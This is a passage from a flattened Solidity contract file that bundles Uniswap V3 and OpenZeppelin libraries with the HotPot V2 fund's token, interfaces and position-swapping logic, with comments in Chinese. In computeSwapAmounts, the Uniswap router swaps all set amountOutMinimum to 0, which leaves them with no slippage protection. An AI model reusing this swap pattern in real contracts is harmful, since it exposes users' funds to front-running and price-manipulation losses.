which to compute the amount1 delta /// @return amount1 Amount of token1 corresponding to the passed liquidityDelta between the two prices function getAmount1Delta( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, int128 liquidity ) internal pure returns (int256 amount1) { return liquidity < 0 ? -getAmount1Delta(sqrtRatioAX96, sqrtRatioBX96, uint128(-liquidity), false).toInt256() : getAmount1Delta(sqrtRatioAX96, sqrtRatioBX96, uint128(liquidity), true).toInt256(); } } // File: @uniswap/v3-core/contracts/interfaces/callback/IUniswapV3SwapCallback.sol /// @title Callback for IUniswapV3PoolActions#swap /// @notice Any contract that calls IUniswapV3PoolActions#swap must implement this interface interface IUniswapV3SwapCallback { /// @notice Called to `msg.sender` after executing a swap via IUniswapV3Pool#swap. /// @dev In the implementation you must pay the pool tokens owed for the swap. /// The caller of this method must be checked to be a UniswapV3Pool deployed by the canonical UniswapV3Factory. /// amount0Delta and amount1Delta can both be 0 if no tokens were swapped. /// @param amount0Delta The amount of token0 that was sent (negative) or must be received (positive) by the pool by /// the end of the swap. If positive, the callback must send that amount of token0 to the pool. /// @param amount1Delta The amount of token1 that was sent (negative) or must be received (positive) by the pool by /// the end of the swap. If positive, the callback must send that amount of token1 to the pool. /// @param data Any data passed through by the caller via the IUniswapV3PoolActions#swap call function uniswapV3SwapCallback( int256 amount0Delta, int256 amount1Delta, bytes calldata data ) external; } // File: @uniswap/v3-periphery/contracts/interfaces/ISwapRouter.sol /// @title Router token swapping functionality /// @notice Functions for swapping tokens via Uniswap V3 interface ISwapRouter is IUniswapV3SwapCallback { struct ExactInputSingleParams { address tokenIn; address tokenOut; uint24 fee; address recipient; uint256 deadline; uint256 amountIn; uint256 amountOutMinimum; uint160 sqrtPriceLimitX96; } /// @notice Swaps `amountIn` of one token for as much as possible of another token /// @param params The parameters necessary for the swap, encoded as `ExactInputSingleParams` in calldata /// @return amountOut The amount of the received token function exactInputSingle(ExactInputSingleParams calldata params) external payable returns (uint256 amountOut); struct ExactInputParams { bytes path; address recipient; uint256 deadline; uint256 amountIn; uint256 amountOutMinimum; } /// @notice Swaps `amountIn` of one token for as much as possible of another along the specified path /// @param params The parameters necessary for the multi-hop swap, encoded as `ExactInputParams` in calldata /// @return amountOut The amount of the received token function exactInput(ExactInputParams calldata params) external payable returns (uint256 amountOut); struct ExactOutputSingleParams { address tokenIn; address tokenOut; uint24 fee; address recipient; uint256 deadline; uint256 amountOut; uint256 amountInMaximum; uint160 sqrtPriceLimitX96; } /// @notice Swaps as little as possible of one token for `amountOut` of another token /// @param params The parameters necessary for the swap, encoded as `ExactOutputSingleParams` in calldata /// @return amountIn The amount of the input token function exactOutputSingle(ExactOutputSingleParams calldata params) external payable returns (uint256 amountIn); struct ExactOutputParams { bytes path; address recipient; uint256 deadline; uint256 amountOut; uint256 amountInMaximum; } /// @notice Swaps as little as possible of one token for `amountOut` of another along the specified path (reversed) /// @param params The parameters necessary for the multi-hop swap, encoded as `ExactOutputParams` in calldata /// @return amountIn The amount of the input token function exactOutput(ExactOutputParams calldata params) external payable returns (uint256 amountIn); } // File: @uniswap/v3-periphery/contracts/libraries/LiquidityAmounts.sol /// @title Liquidity amount functions /// @notice Provides functions for computing liquidity amounts from token amounts and prices library LiquidityAmounts { /// @notice Downcasts uint256 to uint128 /// @param x The uint258 to be downcasted /// @return y The passed value, downcasted to uint128 function toUint128(uint256 x) private pure returns (uint128 y) { require((y = uint128(x)) == x); } /// @notice Computes the amount of liquidity received for a given amount of token0 and price range /// @dev Calculates amount0 * (sqrt(upper) * sqrt(lower)) / (sqrt(upper) - sqrt(lower)) /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param amount0 The amount0 being sent in /// @return liquidity The amount of returned liquidity function getLiquidityForAmount0( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint256 amount0 ) internal pure returns (uint128 liquidity) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); uint256 intermediate = FullMath.mulDiv(sqrtRatioAX96, sqrtRatioBX96, FixedPoint96.Q96); return toUint128(FullMath.mulDiv(amount0, intermediate, sqrtRatioBX96 - sqrtRatioAX96)); } /// @notice Computes the amount of liquidity received for a given amount of token1 and price range /// @dev Calculates amount1 / (sqrt(upper) - sqrt(lower)). /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param amount1 The amount1 being sent in /// @return liquidity The amount of returned liquidity function getLiquidityForAmount1( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint256 amount1 ) internal pure returns (uint128 liquidity) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); return toUint128(FullMath.mulDiv(amount1, FixedPoint96.Q96, sqrtRatioBX96 - sqrtRatioAX96)); } /// @notice Computes the maximum amount of liquidity received for a given amount of token0, token1, the current /// pool prices and the prices at the tick boundaries /// @param sqrtRatioX96 A sqrt price representing the current pool prices /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param amount0 The amount of token0 being sent in /// @param amount1 The amount of token1 being sent in /// @return liquidity The maximum amount of liquidity received function getLiquidityForAmounts( uint160 sqrtRatioX96, uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint256 amount0, uint256 amount1 ) internal pure returns (uint128 liquidity) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); if (sqrtRatioX96 <= sqrtRatioAX96) { liquidity = getLiquidityForAmount0(sqrtRatioAX96, sqrtRatioBX96, amount0); } else if (sqrtRatioX96 < sqrtRatioBX96) { uint128 liquidity0 = getLiquidityForAmount0(sqrtRatioX96, sqrtRatioBX96, amount0); uint128 liquidity1 = getLiquidityForAmount1(sqrtRatioAX96, sqrtRatioX96, amount1); liquidity = liquidity0 < liquidity1 ? liquidity0 : liquidity1; } else { liquidity = getLiquidityForAmount1(sqrtRatioAX96, sqrtRatioBX96, amount1); } } /// @notice Computes the amount of token0 for a given amount of liquidity and a price range /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param liquidity The liquidity being valued /// @return amount0 The amount of token0 function getAmount0ForLiquidity( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint128 liquidity ) internal pure returns (uint256 amount0) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); return FullMath.mulDiv( uint256(liquidity) << FixedPoint96.RESOLUTION, sqrtRatioBX96 - sqrtRatioAX96, sqrtRatioBX96 ) / sqrtRatioAX96; } /// @notice Computes the amount of token1 for a given amount of liquidity and a price range /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param liquidity The liquidity being valued /// @return amount1 The amount of token1 function getAmount1ForLiquidity( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint128 liquidity ) internal pure returns (uint256 amount1) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); return FullMath.mulDiv(liquidity, sqrtRatioBX96 - sqrtRatioAX96, FixedPoint96.Q96); } /// @notice Computes the token0 and token1 value for a given amount of liquidity, the current /// pool prices and the prices at the tick boundaries /// @param sqrtRatioX96 A sqrt price representing the current pool prices /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param liquidity The liquidity being valued /// @return amount0 The amount of token0 /// @return amount1 The amount of token1 function getAmountsForLiquidity( uint160 sqrtRatioX96, uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint128 liquidity ) internal pure returns (uint256 amount0, uint256 amount1) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); if (sqrtRatioX96 <= sqrtRatioAX96) { amount0 = getAmount0ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, liquidity); } else if (sqrtRatioX96 < sqrtRatioBX96) { amount0 = getAmount0ForLiquidity(sqrtRatioX96, sqrtRatioBX96, liquidity); amount1 = getAmount1ForLiquidity(sqrtRatioAX96, sqrtRatioX96, liquidity); } else { amount1 = getAmount1ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, liquidity); } } } // File: @uniswap/v3-periphery/contracts/libraries/PositionKey.sol library PositionKey { /// @dev Returns the key of the position in the core library function compute( address owner, int24 tickLower, int24 tickUpper ) internal pure returns (bytes32) { return keccak256(abi.encodePacked(owner, tickLower, tickUpper)); } } // File: @uniswap/v3-periphery/contracts/libraries/PoolAddress.sol /// @title Provides functions for deriving a pool address from the factory, tokens, and the fee library PoolAddress { bytes32 internal constant POOL_INIT_CODE_HASH = 0xe34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b54; /// @notice The identifying key of the pool struct PoolKey { address token0; address token1; uint24 fee; } /// @notice Returns PoolKey: the ordered tokens with the matched fee levels /// @param tokenA The first token of a pool, unsorted /// @param tokenB The second token of a pool, unsorted /// @param fee The fee level of the pool /// @return Poolkey The pool details with ordered token0 and token1 assignments function getPoolKey( address tokenA, address tokenB, uint24 fee ) internal pure returns (PoolKey memory) { if (tokenA > tokenB) (tokenA, tokenB) = (tokenB, tokenA); return PoolKey({token0: tokenA, token1: tokenB, fee: fee}); } /// @notice Deterministically computes the pool address given the factory and PoolKey /// @param factory The Uniswap V3 factory contract address /// @param key The PoolKey /// @return pool The contract address of the V3 pool function computeAddress(address factory, PoolKey memory key) internal pure returns (address pool) { require(key.token0 < key.token1); pool = address( uint256( keccak256( abi.encodePacked( hex'ff', factory, keccak256(abi.encode(key.token0, key.token1, key.fee)), POOL_INIT_CODE_HASH ) ) ) ); } } // File: @uniswap/v3-periphery/contracts/libraries/BytesLib.sol /* * @title Solidity Bytes Arrays Utils * @author Gonçalo Sá <[email protected]> * * @dev Bytes tightly packed arrays utility library for ethereum contracts written in Solidity. * The library lets you concatenate, slice and type cast bytes arrays both in memory and storage. */ library BytesLib { function slice( bytes memory _bytes, uint256 _start, uint256 _length ) internal pure returns (bytes memory) { require(_length + 31 >= _length, 'slice_overflow'); require(_start + _length >= _start, 'slice_overflow'); require(_bytes.length >= _start + _length, 'slice_outOfBounds'); bytes memory tempBytes; assembly { switch iszero(_length) case 0 { // Get a location of some free memory and store it in tempBytes as // Solidity does for memory variables. tempBytes := mload(0x40) // The first word of the slice result is potentially a partial // word read from the original array. To read it, we calculate // the length of that partial word and start copying that many // bytes into the array. The first word we copy will start with // data we don't care about, but the last `lengthmod` bytes will // land at the beginning of the contents of the new array. When // we're done copying, we overwrite the full first word with // the actual length of the slice. let lengthmod := and(_length, 31) // The multiplication in the next line is necessary // because when slicing multiples of 32 bytes (lengthmod == 0) // the following copy loop was copying the origin's length // and then ending prematurely not copying everything it should. let mc := add(add(tempBytes, lengthmod), mul(0x20, iszero(lengthmod))) let end := add(mc, _length) for { // The multiplication in the next line has the same exact purpose // as the one above. let cc := add(add(add(_bytes, lengthmod), mul(0x20, iszero(lengthmod))), _start) } lt(mc, end) { mc := add(mc, 0x20) cc := add(cc, 0x20) } { mstore(mc, mload(cc)) } mstore(tempBytes, _length) //update free-memory pointer //allocating the array padded to 32 bytes like the compiler does now mstore(0x40, and(add(mc, 31), not(31))) } //if we want a zero-length slice let's just return a zero-length array default { tempBytes := mload(0x40) //zero out the 32 bytes slice we are about to return //we need to do it because Solidity does not garbage collect mstore(tempBytes, 0) mstore(0x40, add(tempBytes, 0x20)) } } return tempBytes; } function toAddress(bytes memory _bytes, uint256 _start) internal pure returns (address) { require(_start + 20 >= _start, 'toAddress_overflow'); require(_bytes.length >= _start + 20, 'toAddress_outOfBounds'); address tempAddress; assembly { tempAddress := div(mload(add(add(_bytes, 0x20), _start)), 0x1000000000000000000000000) } return tempAddress; } function toUint24(bytes memory _bytes, uint256 _start) internal pure returns (uint24) { require(_start + 3 >= _start, 'toUint24_overflow'); require(_bytes.length >= _start + 3, 'toUint24_outOfBounds'); uint24 tempUint; assembly { tempUint := mload(add(add(_bytes, 0x3), _start)) } return tempUint; } } // File: @uniswap/v3-periphery/contracts/libraries/Path.sol /// @title Functions for manipulating path data for multihop swaps library Path { using BytesLib for bytes; /// @dev The length of the bytes encoded address uint256 private constant ADDR_SIZE = 20; /// @dev The length of the bytes encoded fee uint256 private constant FEE_SIZE = 3; /// @dev The offset of a single token address and pool fee uint256 private constant NEXT_OFFSET = ADDR_SIZE + FEE_SIZE; /// @dev The offset of an encoded pool key uint256 private constant POP_OFFSET = NEXT_OFFSET + ADDR_SIZE; /// @dev The minimum length of an encoding that contains 2 or more pools uint256 private constant MULTIPLE_POOLS_MIN_LENGTH = POP_OFFSET + NEXT_OFFSET; /// @notice Returns true iff the path contains two or more pools /// @param path The encoded swap path /// @return True if path contains two or more pools, otherwise false function hasMultiplePools(bytes memory path) internal pure returns (bool) { return path.length >= MULTIPLE_POOLS_MIN_LENGTH; } /// @notice Decodes the first pool in path /// @param path The bytes encoded swap path /// @return tokenA The first token of the given pool /// @return tokenB The second token of the given pool /// @return fee The fee level of the pool function decodeFirstPool(bytes memory path) internal pure returns ( address tokenA, address tokenB, uint24 fee ) { tokenA = path.toAddress(0); fee = path.toUint24(ADDR_SIZE); tokenB = path.toAddress(NEXT_OFFSET); } /// @notice Gets the segment corresponding to the first pool in the path /// @param path The bytes encoded swap path /// @return The segment containing all data necessary to target the first pool in the path function getFirstPool(bytes memory path) internal pure returns (bytes memory) { return path.slice(0, POP_OFFSET); } /// @notice Skips a token + fee element from the buffer and returns the remainder /// @param path The swap path /// @return The remaining token + fee elements in the path function skipToken(bytes memory path) internal pure returns (bytes memory) { return path.slice(NEXT_OFFSET, path.length - NEXT_OFFSET); } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @uniswap/v3-periphery/contracts/libraries/TransferHelper.sol library TransferHelper { /// @notice Transfers tokens from the targeted address to the given destination /// @notice Errors with 'STF' if transfer fails /// @param token The contract address of the token to be transferred /// @param from The originating address from which the tokens will be transferred /// @param to The destination address of the transfer /// @param value The amount to be transferred function safeTransferFrom( address token, address from, address to, uint256 value ) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20.transferFrom.selector, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'STF'); } /// @notice Transfers tokens from msg.sender to a recipient /// @dev Errors with ST if transfer fails /// @param token The contract address of the token which will be transferred /// @param to The recipient of the transfer /// @param value The value of the transfer function safeTransfer( address token, address to, uint256 value ) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20.transfer.selector, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'ST'); } /// @notice Approves the stipulated contract to spend the given allowance in the given token /// @dev Errors with 'SA' if transfer fails /// @param token The contract address of the token to be approved /// @param to The target of the approval /// @param value The amount of the given token the target will be allowed to spend function safeApprove( address token, address to, uint256 value ) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(IERC20.approve.selector, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'SA'); } /// @notice Transfers ETH to the recipient address /// @dev Fails with `STE` /// @param to The destination of the transfer /// @param value The value to be transferred function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success, 'STE'); } } // File: @openzeppelin/contracts/utils/ReentrancyGuard.sol /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File: contracts/interfaces/IHotPotV2FundERC20.sol /// @title Hotpot V2 基金份额代币接口定义 interface IHotPotV2FundERC20 is IERC20{ function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } // File: contracts/interfaces/fund/IHotPotV2FundEvents.sol /// @title Hotpot V2 事件接口定义 interface IHotPotV2FundEvents { /// @notice 当存入基金token时,会触发该事件 event Deposit(address indexed owner, uint amount, uint share); /// @notice 当取走基金token时,会触发该事件 event Withdraw(address indexed owner, uint amount, uint share); } // File: contracts/interfaces/fund/IHotPotV2FundState.sol /// @title Hotpot V2 状态变量及只读函数 interface IHotPotV2FundState { /// @notice 控制器合约地址 function controller() external view returns (address); /// @notice 基金经理地址 function manager() external view returns (address); /// @notice 基金本币地址 function token() external view returns (address); /// @notice 8 bytes 基金经理 + 24 bytes 简要描述 function descriptor() external view returns (bytes32); /// @notice 总投入数量 function totalInvestment() external view returns (uint); /// @notice owner的投入数量 /// @param owner 用户地址 /// @return 投入本币的数量 function investmentOf(address owner) external view returns (uint); /// @notice 指定头寸的资产数量 /// @param poolIndex 池子索引号 /// @param positionIndex 头寸索引号 /// @return 以本币计价的头寸资产数量 function assetsOfPosition(uint poolIndex, uint positionIndex) external view returns(uint); /// @notice 指定pool的资产数量 /// @param poolIndex 池子索引号 /// @return 以本币计价的池子资产数量 function assetsOfPool(uint poolIndex) external view returns(uint); /// @notice 总资产数量 /// @return 以本币计价的总资产数量 function totalAssets() external view returns (uint); /// @notice 基金本币->目标代币 的购买路径 /// @param _token 目标代币地址 /// @return 符合uniswap v3格式的目标代币购买路径 function buyPath(address _token) external view returns (bytes memory); /// @notice 目标代币->基金本币 的购买路径 /// @param _token 目标代币地址 /// @return 符合uniswap v3格式的目标代币销售路径 function sellPath(address _token) external view returns (bytes memory); /// @notice 获取池子地址 /// @param index 池子索引号 /// @return 池子地址 function pools(uint index) external view returns(address); /// @notice 头寸信息 /// @dev 由于基金需要遍历头寸,所以用二维动态数组存储头寸 /// @param poolIndex 池子索引号 /// @param positionIndex 头寸索引号 /// @return isEmpty 是否空头寸,tickLower 价格刻度下届,tickUpper 价格刻度上届 function positions(uint poolIndex, uint positionIndex) external view returns( bool isEmpty, int24 tickLower, int24 tickUpper ); /// @notice pool数组长度 function poolsLength() external view returns(uint); /// @notice 指定池子的头寸数组长度 /// @param poolIndex 池子索引号 /// @return 头寸数组长度 function positionsLength(uint poolIndex) external view returns(uint); } // File: contracts/interfaces/fund/IHotPotV2FundUserActions.sol /// @title Hotpot V2 用户操作接口定义 /// @notice 存入(deposit)函数适用于ERC20基金; 如果是ETH基金(内部会转换为WETH9),应直接向基金合约转账; interface IHotPotV2FundUserActions { /// @notice 用户存入基金本币 /// @param amount 存入数量 /// @return share 用户获得的基金份额 function deposit(uint amount) external returns(uint share); /// @notice 用户取出指定份额的本币 /// @param share 取出的基金份额数量 /// @return amount 返回本币数量 function withdraw(uint share) external returns(uint amount); } // File: contracts/interfaces/IHotPotV2Fund.sol /// @title Hotpot V2 基金接口 /// @notice 接口定义分散在多个接口文件 interface IHotPotV2Fund is IHotPotV2FundERC20, IHotPotV2FundEvents, IHotPotV2FundState, IHotPotV2FundUserActions, IHotPotV2FundManagerActions { } // File: contracts/interfaces/external/IWETH9.sol /// @title Interface for WETH9 interface IWETH9 is IERC20 { /// @notice Deposit ether to get wrapped ether function deposit() external payable; /// @notice Withdraw wrapped ether to get ether function withdraw(uint256) external; } // File: contracts/base/HotPotV2FundERC20.sol abstract contract HotPotV2FundERC20 is IHotPotV2FundERC20{ using LowGasSafeMath for uint; string public override constant name = 'Hotpot V2'; string public override constant symbol = 'HPT-V2'; uint8 public override constant decimals = 18; uint public override totalSupply; mapping(address => uint) public override balanceOf; mapping(address => mapping(address => uint)) public override allowance; constructor() { } function _mint(address to, uint value) internal { require(to != address(0), "ERC20: mint to the zero address"); totalSupply = totalSupply.add(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(address(0), to, value); } function _burn(address from, uint value) internal { require(from != address(0), "ERC20: burn from the zero address"); balanceOf[from] = balanceOf[from].sub(value); totalSupply = totalSupply.sub(value); emit Transfer(from, address(0), value); } function _approve(address owner, address spender, uint value) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); allowance[owner][spender] = value; emit Approval(owner, spender, value); } function approve(address spender, uint value) external override returns (bool) { _approve(msg.sender, spender, value); return true; } function _transfer(address from, address to, uint value) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); balanceOf[from] = balanceOf[from].sub(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(from, to, value); } function transfer(address to, uint value) external override returns (bool) { _transfer(msg.sender, to, value); return true; } function transferFrom( address from, address to, uint value ) external override returns (bool) { allowance[from][msg.sender] = allowance[from][msg.sender].sub(value); _transfer(from, to, value); return true; } } // File: contracts/libraries/Position.sol library Position { using LowGasSafeMath for uint; using SafeCast for int256; using Path for bytes; uint constant DIVISOR = 100 << 128; // info stored for each user's position struct Info { bool isEmpty; int24 tickLower; int24 tickUpper; } /// @notice 计算将t0最大化添加到pool的LP时,需要的t0, t1数量 /// @dev 计算公式:△x0 = △x /( SPu*(SPc - SPl) / (SPc*(SPu - SPc)) + 1) function getAmountsForAmount0( uint160 sqrtPriceX96, uint160 sqrtPriceL96, uint160 sqrtPriceU96, uint deltaX ) internal pure returns(uint amount0, uint amount1){ // 全部是t0 if(sqrtPriceX96 <= sqrtPriceL96){ amount0 = deltaX; } // 部分t0 else if( sqrtPriceX96 < sqrtPriceU96){ // a = SPu*(SPc - SPl) uint a = FullMath.mulDiv(sqrtPriceU96, sqrtPriceX96 - sqrtPriceL96, FixedPoint96.Q96); // b = SPc*(SPu - SPc) uint b = FullMath.mulDiv(sqrtPriceX96, sqrtPriceU96 - sqrtPriceX96, FixedPoint96.Q96); // △x0 = △x/(a/b +1) = △x*b/(a+b) amount0 = FullMath.mulDiv(deltaX, b, a + b); } // 剩余的转成t1 if(deltaX > amount0){ amount1 = FullMath.mulDiv( deltaX.sub(amount0), FullMath.mulDiv(sqrtPriceX96, sqrtPriceX96, FixedPoint96.Q96), FixedPoint96.Q96 ); } } struct SwapParams{ uint amount; uint amount0; uint amount1; uint160 sqrtPriceX96; uint160 sqrtRatioAX96; uint160 sqrtRatioBX96; address token; address token0; address token1; uint24 fee; address uniV3Factory; address uniV3Router; } /// @notice 根据基金本币数量以及收集的手续费数量, 计算投资指定头寸两种代币的分布. function computeSwapAmounts( SwapParams memory params, mapping(address => bytes) storage buyPath ) internal returns(uint amount0Max, uint amount1Max) { uint equalAmount0; uint160 buy0Price; //将基金本币换算成token0 if(params.amount > 0){ if(params.token == params.token0){ equalAmount0 = params.amount0.add(params.amount); } else { buy0Price = getSqrtPriceX96(buyPath[params.token0], params.uniV3Factory, true); equalAmount0 = params.amount0.add((FullMath.mulDiv( params.amount, FullMath.mulDiv(buy0Price, buy0Price, FixedPoint96.Q96), FixedPoint96.Q96 ))); } } else equalAmount0 = params.amount0; //将token1换算成token0 if(params.amount1 > 0){ if(params.token0 < params.token1){ equalAmount0 = equalAmount0.add((FullMath.mulDiv( params.amount1, FixedPoint96.Q96, FullMath.mulDiv(params.sqrtPriceX96, params.sqrtPriceX96, FixedPoint96.Q96) ))); } else { equalAmount0 = equalAmount0.add((FullMath.mulDiv( params.amount1, FullMath.mulDiv(params.sqrtPriceX96, params.sqrtPriceX96, FixedPoint96.Q96), FixedPoint96.Q96 ))); } } require(equalAmount0 > 0, "EIZ"); // 计算需要的t0、t1数量 (amount0Max, amount1Max) = getAmountsForAmount0(params.sqrtPriceX96, params.sqrtRatioAX96, params.sqrtRatioBX96, equalAmount0); // t0不够,需要补充 if(amount0Max > params.amount0) { //t1也不够,基金本币需要兑换成t0和t1 if(amount1Max > params.amount1){ // 基金本币兑换成token0 uint fundToT0; if(params.token0 == params.token){ fundToT0 = amount0Max - params.amount0; amount0Max = params.amount0.add(fundToT0); } else { fundToT0 = FullMath.mulDiv( amount0Max - params.amount0, FixedPoint96.Q96, FullMath.mulDiv(buy0Price, buy0Price, FixedPoint96.Q96) ); if(fundToT0 > params.amount) fundToT0 = params.amount; amount0Max = params.amount0.add(ISwapRouter(params.uniV3Router).exactInput(ISwapRouter.ExactInputParams({ path: buyPath[params.token0], recipient: address(this), deadline: block.timestamp, amountIn: fundToT0, amountOutMinimum: 0 }))); } // 基金本币兑换成token1 if(params.token1 == params.token){ amount1Max = params.amount1.add(params.amount.sub(fundToT0)); } else { if(fundToT0 < params.amount){ amount1Max = params.amount1.add(ISwapRouter(params.uniV3Router).exactInput(ISwapRouter.ExactInputParams({ path: buyPath[params.token1], recipient: address(this), deadline: block.timestamp, amountIn: params.amount.sub(fundToT0), amountOutMinimum: 0 }))); } else amount1Max = params.amount1; } } // t1多了,多余的t1需要兑换成t0,基金本币全部兑换成t0 else { // 多余的t1兑换成t0 if(params.amount1 > amount1Max){ amount0Max = params.amount0.add(ISwapRouter(params.uniV3Router).exactInput(ISwapRouter.ExactInputParams({ path: abi.encodePacked(params.token1, params.fee, params.token0), recipient: address(this), deadline: block.timestamp, amountIn: params.amount1.sub(amount1Max), amountOutMinimum: 0 }))); } else amount0Max = params.amount0; // 基金本币全部兑换成t0 if (params.amount > 0){ if(params.token0 == params.token){ amount0Max = amount0Max.add(params.amount); } else{ amount0Max = amount0Max.add(ISwapRouter(params.uniV3Router).exactInput(ISwapRouter.ExactInputParams({ path: buyPath[params.token0], recipient: address(this), deadline: block.timestamp, amountIn: params.amount, amountOutMinimum: 0 }))); } } } } // t0多了,多余的t0兑换成t1, 基金本币全部兑换成t1 else { // 多余的t0兑换成t1 if(amount0Max < params.amount0){ amount1Max = amount1Max.add(ISwapRouter(params.uniV3Router).exactInput(ISwapRouter.ExactInputParams({ path: abi.encodePacked(params.token0, params.fee, params.token1), recipient: address(this), deadline: block.timestamp, amountIn: params.amount0.sub(amount0Max), amountOutMinimum: 0 }))); } else amount1Max = params.amount1; // 基金本币全部兑换成t1 if(params.amount > 0){ if(params.token1 == params.token){ amount1Max = amount1Max.add(params.amount); } else { amount1Max = amount1Max.add(ISwapRouter(params.uniV3Router).exactInput(ISwapRouter.ExactInputParams({ path: buyPath[params.token1], recipient: address(this), deadline: block.timestamp, amountIn: params.amount, amountOutMinimum: 0 }))); } } } } struct AddParams { // pool信息 uint poolIndex; address pool; // 要投入的基金本币和数量 address token; uint amount; // 要投入的token0、token1数量 uint amount0Max; uint amount1Max; //UNISWAP_V3_ROUTER address uniV3Router; address uniV3Factory; } /// @notice 添加LP到指定Position /// @param self Position.Info /// @param params 投资信息 /// @param sellPath sell token路径 /// @param buyPath buy 